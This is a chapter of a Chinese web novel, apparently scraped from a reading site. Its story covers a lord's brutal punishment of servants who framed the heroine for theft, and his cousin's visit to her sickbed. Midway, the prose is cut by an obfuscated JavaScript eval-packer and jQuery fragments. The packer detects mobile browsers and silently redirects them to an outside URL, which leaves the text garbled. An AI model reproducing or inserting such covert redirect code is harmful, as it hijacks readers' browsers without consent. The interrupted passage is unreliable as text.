默认冷灰
24号文字
方正启体

40. 迁怒

作者:萝卜不吃素本书字数:K更新时间:
    奥尔维拉感觉全身的血液都凝固了,他踉跄着后退,嘴唇颤抖着,害怕得一个字都说不出来。


    “是你?”


    塔尔顿看向奥尔维拉,碧绿色里的眼眸中没有丝毫温度,在那双眼睛的审视下,奥尔维拉双腿一软,直接瘫软在地。


    “塔,塔尔顿大人......”


    额头上的冷汗瞬间流了下来,眨眼间穿在内里的衬衣便如水洗般湿透了,奥尔维拉结结巴巴地解释道:“请您,请您饶恕,我,我,我只是.......”


    塔尔顿将没有给他机会把话说完,他将怀里的人抱起,吩咐一旁的人:“希奥多。”


    “是。”


    一直如影子般站在塔尔顿身后的希奥多此时上前,像是拎起一只毫无抵抗的羔羊,轻而易举地拽起奥尔维拉的衣领,将人提了起来。


    “啪——!”


    毫无征兆的,一记响亮的耳光抽在奥尔维拉的脸上,看着被打得猛地偏头的奥尔维拉,希奥多面无表情,神色不变地再次抬手。


    “啪——!”


    “啪——!!”


    一次比一次重的,清晰的掌掴声在走廊上出现,站在周围的仆人们噤若寒蝉,脸色苍白如纸,几名胆小的女仆已经被吓得瘫软在地,死死捂着嘴不敢发出任何声音,而维米尔更是脸色灰白地仿佛下一秒就要去世了。


    “啪——!!!!”


    随着最后一记重击,力道之大使得奥尔维拉被狠狠带倒在地,他整张脸都完全肿了起来,几乎看不清面容,喉咙里发出微弱的,几不可察的呻吟声。


    点点痕迹顺着他的鼻腔和嘴角滴落,在地板上形成一摊触目惊心的暗红色痕迹。


    “大人,他晕死过去了。”


    希奥多像是拽着死狗一样揪起奥尔维拉的头发确认了下,语气冷静得残酷。


    塔尔顿一言不发,身上传来的压迫感逼得人喘不过气来。


    希奥多明白了,他神色一冷想要再动手。


    “哎呀,”


    就在此时,跟着塔尔顿回来,一直站在不远处安静围观的西尔维斯子爵突然开口道:“塔尔顿,我看就这样算了吧,血淋淋地也不好看。”


    西尔维斯子爵语气温和地劝道,但他的嘴角却挂着一丝笑意,仿佛看了一场精彩绝伦的演出。


    “还是先请医生来看看卡琳娜小姐的情况吧。”


    希奥多抬手动作一顿,他看向塔尔顿,在男人的默许下终于松开了拽着奥尔维拉的领子,任由人摔倒在地。


    看着塔尔顿抱人离去的背影,一直在走廊尽头消失,西尔维斯才转过头,目光划过脸色僵硬的维米尔,他挑了挑眉,然后关切的问道:“剩下的这些人,希奥多,你打算怎么处理呢?”


    ......


    安禾睁开眼时,看着眼前陌生的金丝刺绣天鹅绒床幔,一时没有反应过来自己在哪。


    她坐起身,盖在身上的羊毛毯滑落,在看清房间里考究的家具摆设时,才知道她现在是在客房。


    不远处正站着一个背影,手里正随意地把玩着一个木器雕刻摆饰,安禾看着那个背影迟疑了很久,才疑惑地开口问道:“西尔维斯......子爵?”


    那人转过身,露出一张和塔尔顿相似的眉眼,在看到安禾终于醒来后,脸上露出一个灿烂的笑容,随意将手里的小玩意丢在桌上,夸张地说道:“上帝保佑,你终于醒了!”


    西尔维斯走到床边,观察了下安禾的脸色:“感觉如何?有没有什么不舒服的地方?要不要我去叫医生过来?”


    “您......您怎么会在这?”


    安禾没有回答西尔维斯,忍不住皱眉问道。


    安禾感觉现在的场景非常诡异,醒来后她看见的第一个人既不是医生,也不是塔尔顿,居然是和她只有过一面之缘的西尔维斯子爵。


    “这个嘛,”西尔维斯对安禾俏皮地眨了眨眼,笑容里带着几分狡猾:“我是趁着外面的人不注意,偷溜进来的。”


    安禾:“......”


    “您过来,是找我有什么事吗?”安禾有些无语。


    “只是单纯地表达下我的关心,”西尔维斯看着安禾脸上露出的表情,脸上的笑容更加明显了,“毕竟眼睁睁看着一名美丽的淑女在我眼前晕倒而无动于衷,这可绝对不是一名绅士能做出来的。”


    安禾对西尔维斯礼貌地笑了笑。


    狗屁。


    哪个绅士会闯入别人的房间,连声招呼都不打?


    “多谢您,”安禾回答道:“我没有什么不舒服的地方,您不用太过挂怀。”


    “那就好,”西尔维斯一副松了口气的样子,“塔尔顿见你一直不醒,光是今天下午就派医生来了好几次,我还是第一次在他脸上看到那么紧张的表情。”


    安禾愣了一下,西尔维斯挑了挑眉,“你已经睡了一天一夜了。”


    安禾下意识转头,看着窗外已经暗下来的夜色,才惊觉自己居然一口气睡了这么久。


    西尔维斯意味深长地看着安禾:“我的这位表哥,还真是很关心你呢。”


    安禾看了西尔维斯一眼,没有说话。


    到现在她的脑子才清醒了些,记忆如潮水般涌来,那个从她房间找到的钱袋,周围人看向她的目光,朝她挥过来的鞭子,还有......


    “在想什么呢?”


    西尔维斯的声音突然打断了安禾的思绪,他毫不避讳地拉过椅子在安禾床边坐下,“还在想被人指责偷钱的事吗?”


    他仿佛看透了安禾的心思般,“不用担心,塔尔顿已经让希奥多查清了,你是被冤枉。”


    安禾愣了下,脱口而出,“这么快?”


    她还什么都没有说,维米尔居然就承认了?!


    “嗯,我想想......”西尔维斯摸着下巴回忆:“那个褐色眼睛的女仆,应该是叫蕾切尔吧,她过意不去,哦,不对,应该说是吓坏了,主动把整个事情的前因后果讲了一遍,而那个叫玛蒂莉安的最后也没有撑住,把真相吐露了个干净。”


    “什么叫......没有撑住?”


    安禾敏锐地察觉到西尔维斯用词的奇怪,她疑惑地问道。


    而且玛蒂莉安不是被偷钱的那个人吗?


    “塔尔顿直接下令,把那个要对你动鞭的女仆先抽了三十鞭,那个叫玛蒂莉安的女仆看到一半就崩溃了,把她替人做的那些都说了出来。”


    西尔维斯轻描淡写地解释道。


    安禾的脑子瞬间懵了,她努力消化着西尔维斯话里的意思,什么意思?塔尔顿连审都没有审就直接处罚了维米尔?


    看着一脸空白的安禾,西尔维斯眼底的光芒微微一闪,他这位表哥的手段,还真是一如既往地狠绝啊,西尔维斯忍不住感慨道。


    在等医生检查过安禾的情况,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371381|199921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    告知塔尔顿人安然无恙,只是因为一时的刺激昏迷过去后,


    塔尔顿才来到书房。


    蕾切尔深深地低着头,跪在地板上,她控制不住地浑身发抖,等待即将面临的问责。


    她将玛蒂莉安是如何找到的她,恳求她出面做主找出小偷,再到她从卡琳娜房间里搜出了那个钱袋,最后维米尔决定对卡琳娜实施鞭刑,将整件事情全盘脱出,所有的细节都没有落下,交代的干干净净。


    最后,蕾切尔声音颤抖地说道:“是我的问题,明明我已经发现了不对劲,却没有即使阻止维米尔,请大人责罚。”


    蕾切尔现在极其懊悔,她忍不住想,如果她当时就阻止维米尔就好了,现在就不会闹到如此糟糕的境地。


    一想到塔尔顿之前雷厉风行处理詹姆斯管家那群人的做法,蕾切尔就变得有些绝望。


    现在,她只能寄希望于看在她来主动承认错误的份上,塔尔顿能网开一面,宽恕她。


    塔尔顿盯着跪在他面前瑟瑟发抖的蕾切尔,缓慢地转动着拇指上的戒指,过了一会,他才冷淡地开口问道:“维米尔现在在哪?”


    希奥多:“已经派人将她关了起来。”


    “先行三十鞭,然后再带她过来。”


    他脸色平静地吩咐道,仿佛只是在要求旁边的希奥多替他换一杯凉了的红茶。


    希奥多:“是。”


    而在听到塔尔顿的吩咐后,维米尔不可置信,她情绪激烈地表示:“我要见塔尔顿大人!让我见大人一面!”


    “大人!”


    维米尔被身侧左右两个高大的男仆架到塔尔顿面前时,整个人都没有了之前的体面,头发凌乱得像是一团稻草,一路上还在大声尖叫着。


    维米尔扑上前,却被人眼疾手快按住,“塔尔顿大人,是卡琳娜偷了东西!我是为了整个桑菲尔德庄园的名声才惩罚她的!您不能这样对我!!”


    维米尔心里恨得几欲滴血,怎么会这样?!


    明明她在卡琳娜回来后刻意折磨时塔尔顿都没有露面,卡琳娜不是已经被塔尔顿厌弃了吗?为什么还会救她?!


    “当时大家都看到了,卡琳娜偷了钱却自己都解释不清!我是按照庄园的规矩实行的处罚,大人!”


    维米尔在心里迅速盘算着,她自认为自己在中间做的没有留下任何痕迹,就算卡琳娜站出来跟塔尔顿说是被她诬陷的,只要她咬死不承认,塔尔顿也没有理由处理她。


    “我在桑菲尔德庄园呆了五年,我效忠了您五年!大人,我从未做错过什么!我只是不希望有小偷导致整个庄园蒙羞!”


    维米尔声泪俱下地说道。


    “维米尔,”看着眼前激动的人,塔尔顿突然打断了她的话,“你似乎还没有搞清楚状况,卡琳娜她是否真的偷了别人的钱,我根本不在乎。”


    维米尔在来之前就打好的腹稿直接被塔尔顿掐在了肚子里,她不可置信地看着面前的男人。


    “就算她真的做了,又如何呢?”塔尔顿淡淡地问道。


    维米尔:“......”


    维米尔呆滞地看着塔尔顿,她嘴唇颤抖了半天,才勉强从喉咙里挤出来一句话:“您......您这是迁怒,您这是毫无理由的迁怒!”


    “你说的对。”


    塔尔顿反而坦然地承认了,他盯着维米尔震颤的瞳孔,理所当然地说道:“我这就是迁怒。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)